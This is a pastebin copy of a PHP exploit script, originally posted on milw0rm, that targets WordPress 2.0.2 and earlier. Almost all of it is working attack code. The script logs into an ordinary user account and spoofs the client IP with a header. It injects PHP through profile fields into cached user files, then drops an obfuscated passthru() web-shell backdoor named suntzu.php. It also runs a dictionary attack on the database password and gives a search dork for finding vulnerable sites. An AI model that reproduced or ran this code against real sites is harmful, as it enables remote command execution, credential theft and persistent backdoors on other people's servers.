Advertisement
Aluf

WordPress <= 2.0.2 (cache) Remote Shell Injection

Jan 31st, 2015
566
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.88 KB | None | 0 0
  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo "--------------------------------------------------------------------\r\n";
  4. echo "| WordPress <= 2.0.2 'cache' shell injection exploit               |\r\n";
  5. echo "| by Aluf                                                          |\r\n";
  6. echo "| site: http://Aluf.chatango.com pm me                             |\r\n";
  7. echo "| dork: inurl:wp-login.php Register Username Password -echo        |\r\n";
  8. echo "--------------------------------------------------------------------\r\n";
  9.  
  10. /*
  11. this works:
  12. regardless of all php.ini settings,
  13. if user registration is enabled,
  14. against an empty or weak MySQL DB password (read explaination for details...)
  15. */
  16.  
  17. if ($argc<6) {
  18. echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS             \r\n";
  19. echo "host:      target server (ip/hostname)                              \r\n";
  20. echo "path:      path to WordPress                                        \r\n";
  21. echo "cmd:       a shell command                                          \r\n";
  22. echo "user/pass: you need a valid user account                            \r\n";
  23. echo "Options:                                                            \r\n";
  24. echo "   -D[dicrionary] specify a textfile and try dictionary attack      \r\n";
  25. echo "   -p[port]:        \"  a port other than 80                        \r\n";
  26. echo "   -P[ip:port]:     \"  a proxy                                     \r\n";
  27. echo "Examples:                                                           \r\n";
  28. echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
  29. echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
  30. echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
  31. die;
  32. }
  33.  
  34. /* explaination:
  35.  
  36.   i) wordpress stores some user informations inside cached files
  37.    in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are
  38.    php files.
  39.    Normally they look like this:
  40.  
  41.    <?php
  42.    //O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"suntzoi@suntzu.org";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";}
  43.    ?>
  44.  
  45.    but...what happens if you inject a carriage return ( chr(13)...), some php code and some
  46.    escape chars when you update your profile (ex. in "displayname" argument)?
  47.  
  48.    Look at this file now:
  49.  
  50.    <?php
  51.    //O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"suntzu@suntzu.org";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
  52.    error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";}
  53.    ?>
  54.  
  55.    you have a backdoor on target server...
  56.  
  57.    Now you have to search a way to guess filenames 'cause we have an
  58.    index.php to trivially protect folders, but... guess what?
  59.  
  60.    give a look at wp-includes/cache.php at line 355:
  61.  
  62.    ...
  63.    $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';
  64.    ...
  65.  
  66.    $group_dir is the folder where files are stored
  67.    DB_PASSWORD costant could be empty, if so...
  68.    you have only to calculate the md5 hash of your user id, then:
  69.  
  70.    http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la
  71.  
  72.    the same with userlogins/ folder, this time:
  73.  
  74.    http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la
  75.  
  76.    otherwise you can check if DB_PASSWORD is in a dictionary through the -D option,
  77.    this tool calculate the hash to do something like this:
  78.  
  79.    http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
  80.    http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la
  81.  
  82.   ii) an ip-spoofing issue in vars.php:
  83.  
  84.   ...
  85.   // On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
  86.   // by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address.
  87.   if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
  88.     $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
  89.   ...
  90.  
  91.   poc:
  92.   you can set an http header like this when you register:
  93.  
  94.   PC_REMOTE_ADDR: 1.1.1.1
  95.                                           */
  96. error_reporting(0);
  97. ini_set("max_execution_time",0);
  98. ini_set("default_socket_timeout",5);
  99.  
  100. function quick_dump($string)
  101. {
  102.   $result='';$exa='';$cont=0;
  103.   for ($i=0; $i<=strlen($string)-1; $i++)
  104.   {
  105.    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  106.    {$result.="  .";}
  107.    else
  108.    {$result.="  ".$string[$i];}
  109.    if (strlen(dechex(ord($string[$i])))==2)
  110.    {$exa.=" ".dechex(ord($string[$i]));}
  111.    else
  112.    {$exa.=" 0".dechex(ord($string[$i]));}
  113.    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  114.   }
  115.  return $exa."\r\n".$result;
  116. }
  117. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  118. function sendpacketii($packet)
  119. {
  120.   global $proxy, $host, $port, $html, $proxy_regex;
  121.   if ($proxy=='') {
  122.     $ock=fsockopen(gethostbyname($host),$port);
  123.     if (!$ock) {
  124.       echo 'No response from '.$host.':'.$port; die;
  125.     }
  126.   }
  127.   else {
  128.     $c = preg_match($proxy_regex,$proxy);
  129.     if (!$c) {
  130.       echo 'Not a valid proxy...';die;
  131.     }
  132.     $parts=explode(':',$proxy);
  133.     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  134.     $ock=fsockopen($parts[0],$parts[1]);
  135.     if (!$ock) {
  136.       echo 'No response from proxy...';die;
  137.     }
  138.   }
  139.   fputs($ock,$packet);
  140.   if ($proxy=='') {
  141.     $html='';
  142.     while (!feof($ock)) {
  143.       $html.=fgets($ock);
  144.     }
  145.   }
  146.   else {
  147.     $html='';
  148.     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  149.       $html.=fread($ock,1);
  150.     }
  151.   }
  152.   fclose($ock);
  153.   #debug
  154.  #echo "\r\n".$html;
  155.  
  156. }
  157. $host=$argv[1];
  158. $path=$argv[2];
  159. $username=$argv[3];
  160. $password=$argv[4];
  161. $cmd="";
  162. $port=80;
  163. $proxy="";
  164. $dict="";
  165.  
  166. for ($i=5; $i<=$argc-1; $i++){
  167. $t=$argv[$i][0].$argv[$i][1];
  168. if (($t<>"-p") and ($t<>"-P") and ($t<>"-D"))
  169. {$cmd.=" ".$argv[$i];}
  170. if ($t=="-p")
  171. {
  172.   $port=str_replace("-p","",$argv[$i]);
  173. }
  174. if ($t=="-P")
  175. {
  176.   $proxy=str_replace("-P","",$argv[$i]);
  177. }
  178. if ($t=="-D")
  179. {
  180.   $dict=str_replace("-D","",$argv[$i]);
  181. }
  182. }
  183. $cmd=urlencode($cmd);
  184. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  185. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  186.  
  187. echo "step 0 -> check if suntzu.php is already installed...\r\n";
  188. $check=array("users/suntzu.php",
  189.          "userlogins/suntzu.php"
  190.          );
  191. for ($i=0; $i<=count($check)-1; $i++)
  192. {
  193.   $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  194.   $packet.="Host: ".$host."\r\n";
  195.   $packet.="Cookie: cmd=".$cmd."\r\n";
  196.   $packet.="Connection: close\r\n\r\n";
  197.   sendpacketii($packet);
  198.   if (strstr($html,"*DL*"))
  199.   {
  200.     echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo $temp[1]."\r\n";echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la";die;
  201.   }
  202. }
  203. echo "step 1 -> Login ...\r\n";
  204. $data="log=".urlencode(trim($username));
  205. $data.="&pwd=".urlencode(trim($password));
  206. $data.="&rememberme=forever";
  207. $data.="&submit=".urlencode("Login &raquo;");
  208. $data.="&redirect_to=wp-admin";
  209. $packet="POST ".$p."wp-login.php HTTP/1.0\r\n";
  210. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; //ip spoofing bug in vars.php ;)...
  211. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  212. $packet.="Host: ".$host."\r\n";
  213. $packet.="Content-Length: ".strlen($data)."\r\n";
  214. $packet.="Connection: close\r\n\r\n";
  215. $packet.=$data;
  216. sendpacketii($packet);
  217. $temp=explode("Set-Cookie: ",$html);
  218. $temp2=explode(" ",$temp[1]);
  219. $cookie=$temp2[0];
  220. $temp2=explode(" ",$temp[2]);
  221. $cookie.=" ".$temp2[0];
  222. if ($cookie==''){echo "Unable to login...";die;}
  223. else {echo "cookie ->".$cookie."\r\n";}
  224.  
  225. echo "step 2 -> Retrieve your user id...\r\n";
  226. $packet="GET ".$p."wp-admin/profile.php HTTP/1.0\r\n";
  227. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  228. $packet.="Host: ".$host."\r\n";
  229. $packet.="Cookie: ".$cookie."\r\n";
  230. $packet.="Connection: close\r\n\r\n";
  231. $packet.=$data;
  232. sendpacketii($packet);
  233. $temp=explode("checkuser_id\" value=\"",$html);
  234. $temp2=explode("\"",$temp[1]);
  235. $user_id=$temp2[0];
  236. if ($user_id==''){die("Unable to retrieve user id...\r\n");}
  237. else {echo "user id -> ".$user_id."\r\n";}
  238.  
  239. echo "step 3 -> Update your profile with the evil code...\r\n";
  240. $suntzu='$fp=fopen("suntzu.php","w");fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//';
  241. $suntzu=urlencode($suntzu);
  242. $code='error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo chr(42).chr(68).chr(76).chr(42);';
  243. $code=urlencode($code);
  244. $data="from=profile";
  245. $data.="&checkuser_id=".$user_id;
  246. $data.="&user_login=".urlencode(trim($username));
  247. $data.="&first_name=".urlencode(trim($username));
  248. $data.="&last_name=".urlencode(trim($username)).chr(13).$suntzu."//suntzuuu";
  249. $data.="&nickname=".urlencode(trim($username));
  250. $data.="&display_name=".urlencode(trim($username)).chr(13).$code."//suntzuu";
  251. $data.="&email=".urlencode("suntzu@suntzu.org");
  252. $data.="&url=".urlencode("http://");
  253. $data.="&aim=";
  254. $data.="&yim=";
  255. $data.="&jabber=";
  256. $data.="&description=whoami";
  257. $data.="&rich_editing=true";
  258. $data.="&submit=".urlencode("Update Profile &raquo;");
  259. $packet="POST ".$p."wp-admin/profile-update.php HTTP/1.0\r\n";
  260. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  261. $packet.="Accept-Encoding: gzip, deflate\r\n";
  262. $packet.="Accept-Language: en\r\n";
  263. $packet.="Referer: http://".$host.$path."wp-admin/profile-update.php\r\n";
  264. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  265. $packet.="Host: ".$host."\r\n";
  266. $packet.="Content-Length: ".strlen($data)."\r\n";
  267. $packet.="Cookie: ".$cookie."\r\n";
  268. $packet.="Connection: close\r\n\r\n";
  269. $packet.=$data;
  270. sendpacketii($packet);
  271. if (eregi("updated=true",$html)){echo "Done...\r\n";}
  272. else {die("Unable to update profile...");}
  273.  
  274. echo "step 4 -> go to profile page to avoid cached files deletion...\r\n";
  275. $packet="GET ".$p."wp-admin/profile.php?updated=true HTTP/1.0\r\n";
  276. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  277. $packet.="Host: ".$host."\r\n";
  278. $packet.="Cookie: ".$cookie."\r\n";
  279. $packet.="Connection: close\r\n\r\n";
  280. sendpacketii($packet);
  281. if (eregi("200 OK",$html)){echo "Done...\r\n";}
  282. sleep(2);
  283.  
  284. echo "step 5 -> check for an empty db password...\r\n";
  285. $check=array("users/".md5($user_id).".php",
  286.          "userlogins/".md5(trim($username)).".php"
  287.          );
  288. for ($i=0; $i<=count($check)-1; $i++)
  289. {
  290.   $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  291.   $packet.="Host: ".$host."\r\n";
  292.   $packet.="Cookie: cmd=".$cmd."\r\n";
  293.   $packet.="Connection: close\r\n\r\n";
  294.   sendpacketii($packet);
  295.   if (eregi("*DL*",$html))
  296.   {
  297.     echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo($temp[1]);echo"\r\nNow you can launch commands through the followig urls:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";die;
  298.   }
  299. }
  300.  
  301. if ($dict=='') {echo "exploit failed...\r\n";}
  302. else
  303.    {
  304.     echo "step 6 -> trying with dictionary attack...\r\n";
  305.     if (file_exists($dict))
  306.     {
  307.       $fp=fopen($dict,"r");
  308.       while (!feof($fp))
  309.       {
  310.         $word=trim(fgets($fp));
  311.         $check=array("users/".md5($user_id.$word).".php",
  312.                  "userlogins/".md5(trim($username).$word).".php"
  313.                 );
  314.         for ($i=0; $i<=count($check)-1; $i++)
  315.         {
  316.       echo "Trying with ".$check[$i]."\r\n";
  317.           $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  318.           $packet.="Host: ".$host."\r\n";
  319.           $packet.="Cookie: cmd=".$cmd."\r\n";
  320.           $packet.="Connection: close\r\n\r\n";
  321.           sendpacketii($packet);
  322.           if (strstr($html,"*DL*"))
  323.           {
  324.             echo "Exploit succeeded...\r\n";fclose($fp);$temp=explode("*DL*",$html);echo $temp[1];echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";
  325.         die;
  326.           }
  327.         }
  328.      }
  329.      fclose($fp);
  330.      //if you are here...
  331.      echo "Exploit failed...\r\n";
  332.    }
  333.    else
  334.    {
  335.      die($dict."does not exist!");
  336.    }
  337.   }
  338. ?>
  339.  
  340. # milw0rm.com [2006-05-25]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement